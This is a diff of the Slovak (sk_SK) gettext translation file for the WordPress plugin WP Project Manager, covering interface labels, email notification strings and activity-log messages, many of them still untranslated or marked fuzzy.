views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "" - -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "Nadstavenia emailu" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "Typ emailu" - -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "HTML email" - -#: views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "Texotový" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "Limit pre upload súborov" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -#, fuzzy -#| msgid "Due date" -msgid "due date" -msgstr "Termín na dokončenie" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "Zobraz úlohu" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "" - -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "Nová správa" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "" - -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "Zobraz správu" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "" - -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "Zobraz projekt" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -msgid "Update task has been assigned to you" -msgstr "" - -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update List" -msgid "Updated By" -msgstr "Aktualizovať zoznam" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -#~ msgid "Project created by %s" -#~ msgstr "Projekt vytvoril %s" - -#~ msgid "Project details updated by %s" -#~ msgstr "Detail projektu aktualizoval %s" - -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "Odkaz \"%s\" vymazal %s" - -#~ msgid "%s deleted a comment" -#~ msgstr "%s vymazal komentár" - -#~ msgid "Add a comment..." -#~ msgstr "Pridaj komentár..." - -#~ msgid "Messages" -#~ msgstr "Správy" - -#~ msgid "message post type" -#~ msgstr "typ spávy" - -#~ msgid "Edit Message" -#~ msgstr "Uprav správu" - -#~ msgid "Search Messages" -#~ msgstr "Prehladaj správy" - -#~ msgid "Parent Message" -#~ msgstr "Nadradená správa" - -#~ msgid "Add New Milestone" -#~ msgstr "Pridaj nový medzník" - -#~ msgid "New Milestone" -#~ msgstr "Nový medzník" - -#~ msgid "View Milestone" -#~ msgstr "Zpbraz medzník" - -#~ msgid "Search Milestone" -#~ msgstr "Hladaj medzník" - -#~ msgid "Parent Milestone" -#~ msgstr "Nadradený medzník" - -#~ msgid "Add Project" -#~ msgstr "Pridaj projekt" - -#~ msgid "Edit Project" -#~ msgstr "Uprav projekt" - -#~ msgid "Search Project" -#~ msgstr "Hladaj projekt" - -#~ msgid "Parent Project" -#~ msgstr "Nadradený projekt" - -#~ msgid "Add Task List" -#~ msgstr "Pridaj zoznam úloh" - -#~ msgid "Add New Task List" -#~ msgstr "Pridaj nový zoznam úloh" - -#~ msgid "Edit Task List" -#~ msgstr "Uprav zoznam úloh" - -#~ msgid "View Task List" -#~ msgstr "Zobraz zoznam úloh" - -#~ msgid "Search Task List" -#~ msgstr "Prehladaj zoznam úloh" - -#~ msgid "Parent Task List" -#~ msgstr "Nadradený zoznam úloh" - -#~ msgid "Add New Task" -#~ msgstr "Pridaj novú úlohu" - -#~ msgid "Edit Task" -#~ msgstr "Uprav úlohu" - -#~ msgid "New Task" -#~ msgstr "Nová úloha" - -#~ msgid "Search Task" -#~ msgstr "Hladaj úlohu" - -#~ msgid "Parent Task" -#~ msgstr "Nadradená úloha" - -#~ msgid "Delete project" -#~ msgstr "Odstrániť projekt" - -#~ msgid "Add this comment" -#~ msgstr "Pridaj tento komentár" - -#~ msgid "late" -#~ msgstr "oneskoro" - -#~ msgid "Attached to %s by %s" -#~ msgstr "Pripojený k %s užívateľom %s" - -#~ msgid "Error: Message not found" -#~ msgstr "Chyba: Správa nenájdená" - -#~ msgid "Error: Project not found" -#~ msgstr "Chyba: Projekt nie je nájdený" - -#~ msgid "Error: Permission denied" -#~ msgstr "Chyba: Oprávnenie bola odopreté" - -#~ msgid "Message %s created by %s" -#~ msgstr "Odkaz %s vytvoril %s" - -#~ msgid "Message %s updated by %s" -#~ msgstr "Odkaz %s aktualizoval %s" - -#~ msgid "To-do list %s created by %s" -#~ msgstr "Zoznam to-do úloh %s vytvoril %s" - -#~ msgid "To-do list %s updated by %s" -#~ msgstr "Zoznam to-do úloh %s aktualizoval %s" - -#~ msgid "To-do list \"%s\" deleted by %s" -#~ msgstr "Zoznam to-do úloh %s vymazal %s" - -#~ msgid "To-do %s added on to-do list %s by %s" -#~ msgstr "To-do úloha %s pridaná na zoznam to-do úloh %s od %s" - -#~ msgid "To-do %s updated by %s" -#~ msgstr "To-do úlohu %s aktualizoval %s" - -#~ msgid "To-do %s completed by %s" -#~ msgstr "To-do úlohu %s dokončil %s" - -#~ msgid "Marked to-do as done" -#~ msgstr "To-do úloha označená hotová" - -#~ msgid "To-do %s marked un-done by %s" -#~ msgstr "To-do úloha %s označil %s ako nesplnenú" - -#~ msgid "Re-opened to-do" -#~ msgstr "Znova otvorená to-do úloha" - -#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" -#~ msgstr "To-do úloha \"%s\" vymazaná z listu to-do úloh %s užívateľom %s" - -#~ msgid "Milestone \"%s\" added by %s " -#~ msgstr "Medzník \"%s\" pridal %s " - -#~ msgid "Milestone \"%s\" updated by %s " -#~ msgstr "Medzník \"%s\" aktualizoval %s " - -#~ msgid "Milestone \"%s\" deleted by %s " -#~ msgstr "Medzník \"%s\" vymazal %s " - -#~ msgid "Milestone \"%s\" marked as complete by %s " -#~ msgstr "Medzník \"%s\" označený ako dokončený užívateľom %s" - -#~ msgid "Milestone \"%s\" marked as incomplete by %s " -#~ msgstr "Medzník \"%s\" označený ako nedokončený užívateľom %s" - -#~ msgid "General" -#~ msgstr "Všeobecné" - -#~ msgid "No Messages Found" -#~ msgstr "Neboli nájdené žiadne správy" - -#~ msgid "No Messages Found in Trash" -#~ msgstr "Neboli nájdené žiadne správy v odpodovom koši" - -#~ msgid "No Milestone Found" -#~ msgstr "Žiadny medzník nebol nájdený" - -#~ msgid "No Milestone Found in Trash" -#~ msgstr "Žiadny medzník nebol nájdený v odpadovom koši" - -#~ msgid "No Project Found in Trash" -#~ msgstr "Žiadny projekt nebol nájdený v odpadovam koši" - -#~ msgid "No Task List Found" -#~ msgstr "Žiadny zoznam úloh nebol nájdený" - -#~ msgid "No Task List Found in Trash" -#~ msgstr "Žiadny zoznam úloh nebol nájdený v odpadovom koši" - -#~ msgid "No Task Found" -#~ msgstr "Žiadny úloha nebola nájdená" - -#~ msgid "No Task Found in Trash" -#~ msgstr "Žiadny úloha nebola nájdená v odpadovom koši" - -#~ msgid "Select co-workers" -#~ msgstr "Vyberte spolupracovníkov" - -#~ msgid "Are you sure to delete this to-do?" -#~ msgstr "Naozaj chcete odstrániť túto to-do úlohu?" - -#~ msgid "Add this to-do" -#~ msgstr "Pridaj toto do to-do úloh" - -#~ msgid "Add a new to-do" -#~ msgstr "Pridaj novú to-do úlohu" - -#~ msgid "-- milestone --" -#~ msgstr "-- medzník --" - -#~ msgid "Are you sure to delete this to-do list?" -#~ msgstr "Naozaj chcete zmazať tento zoznam to-do úloh?" - -#~ msgid "Update comment" -#~ msgstr "Aktualizuj komentár" - -#~ msgid "Edit milestone" -#~ msgstr "Uprav medzník" - -#~ msgid "Mark un-complete" -#~ msgstr "Označiť nedokončené" - -#~ msgid "To-do List" -#~ msgstr "Zoznam úloh" - -#~ msgid "Notify Co-workers" -#~ msgstr "Informujte spolupracovníkov" - -#~ msgid "thread" -#~ msgstr "thread" - -#~ msgid "Discuss this to-do list" -#~ msgstr "Diskutovať o tomto zozname to-do úloh" - -#~ msgid "file size in Megabyte. e.g: 2" -#~ msgstr "veľkosť súboru v Megabyte. napr: 2" - -#~ msgid "New Project Subject" -#~ msgstr "Predmet nového projektu" - -#~ msgid "New Project Body" -#~ msgstr "Popis nového projektu" - -#~ msgid "New Message Subject" -#~ msgstr "Predmet nového odkazu" - -#~ msgid "New Message Body" -#~ msgstr "Správa nového odkazu" - -#~ msgid "New Comment Subject" -#~ msgstr "Predmet nového komentára" - -#~ msgid "New Assigned Task Subject" -#~ msgstr "Predmet novo-zadanej úlohy" - -#~ msgid "-- assign to --" -#~ msgstr "-- priraď k --" - -#~ msgid "" -#~ "To attach, select files " -#~ "from your computer." -#~ msgstr "" -#~ "Pripojiť, vybrné súbory z " -#~ "vášho počítača." - -#~ msgid "%d Comments" -#~ msgstr "%d komentárov" - -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(Dokončil %s dňa %s)" - -#~ msgid "Tasklist name" -#~ msgstr "Názon zoznamu úloh" - -#~ msgid "Add a to-do" -#~ msgstr "Pridaj to-do úlohu" - -#~ msgid "Message deatils here" -#~ msgstr "Podrobnosti správy tu" - -#~ msgid "Details about milestone (optional)" -#~ msgstr "Podrobnosti medzníka (nepovinné)" - -#~ msgid "Reopen" -#~ msgstr "Znova otvor" - -#~ msgid "" -#~ "Download or go to the discussion." -#~ msgstr "" -#~ "Download alebo prejdi k diskusii." - -#~ msgid "No Files Found!" -#~ msgstr "Žiadne súbory neboli nájdené" - -#~ msgid "Add New" -#~ msgstr "Pridaj nový" - -#~ msgid "No messages found! How about adding one?" -#~ msgstr "Neboli nájdené žiadne správy! Chcete pridať novú správu?" - -#~ msgid "← back" -#~ msgstr "← späť" - -#~ msgid "No Milestone Found!" -#~ msgstr "Neboli nájdené žiadne medzníky" - -#~ msgid "Add new milestone" -#~ msgstr "Pridaj nový medzník" - -#~ msgid "Project Info" -#~ msgstr "Informácie o projekte" - -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "Ach bože, zoznam to-do úloh nebol nájdený!" - -#~ msgid "Discuss this to-do" -#~ msgstr "Diskutovať o tejto to-do úlohe" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:55+0600\n" +"Last-Translator: \n" +"Language-Team: marchfeldm@gmail.com\n" +"Language: sk_SK\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-KeywordsList: _e;__;gettext_noop;esc_attr_e\n" +"X-Poedit-Basepath: .\n" +"X-Generator: Poedit 2.0.8\n" +"Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2;\n" +"X-Poedit-SearchPath-0: ..\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "Správa" + +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "Zoznam úloh" + +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "Úloha" + +#: core/Notifications/Emails/New_Comment_Notification.php:68 +#, fuzzy +#| msgid "Files" +msgid "File" +msgstr "Súbory" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Project_Notification.php:24 +#, fuzzy +#| msgid "Update Project" +msgid "[%s] Updated Project: %s" +msgstr "Aktualizácia projektu" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "" + +#: core/Upgrades/Upgrade.php:140 +#, fuzzy +#| msgid "Load More..." +msgid "Read More" +msgstr "Načítať ďalšie ..." + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "Povolené súbory" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "Nadstavenia" + +#: core/WP/Frontend.php:288 +msgid "Documentation" +msgstr "" + +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "Projekt manažér" + +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "Projekty" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category id is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discuss title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discuss id is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone id is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role id is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task id is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "" + +#: src/Task_List/Validators/Update_Task_List.php:11 +#, fuzzy +#| msgid "Tasklist detail" +msgid "Task list id is required." +msgstr "podrobnosti zoznamu úloh" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:140 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task, %2$s." +msgstr "%s pridal komentár k %s" + +#: texts/activities.php:144 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:148 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:152 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:158 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task list, %2$s." +msgstr "%s pridal komentár k %s" + +#: texts/activities.php:162 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:166 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:170 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:180 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:194 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a milestone, %2$s." +msgstr "%s pridal komentár k %s" + +#: texts/activities.php:198 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:202 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:206 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:212 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on the project, %2$s." +msgstr "%s pridal komentár k %s" + +#: texts/activities.php:216 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +#: texts/activities.php:224 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:230 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a file, %2$s." +msgstr "%s pridal komentár k %s" + +#: texts/activities.php:234 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:238 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:242 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "%s aktualizoval komentár k %s" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +#: texts/resource_types.php:5 +#, fuzzy +#| msgid "Project" +msgid "project" +msgstr "Projekt" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "" + +#: texts/resource_types.php:11 +#, fuzzy +#| msgid "Task List" +msgid "task list" +msgstr "Zoznam úloh" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +#: texts/resource_types.php:17 +#, fuzzy +#| msgid "Milestone" +msgid "milestone" +msgstr "Medzník" + +#: texts/resource_types.php:20 +#, fuzzy +msgid "comment" +msgstr "1 komenár" + +#: texts/resource_types.php:23 +msgid "file" +msgstr "" 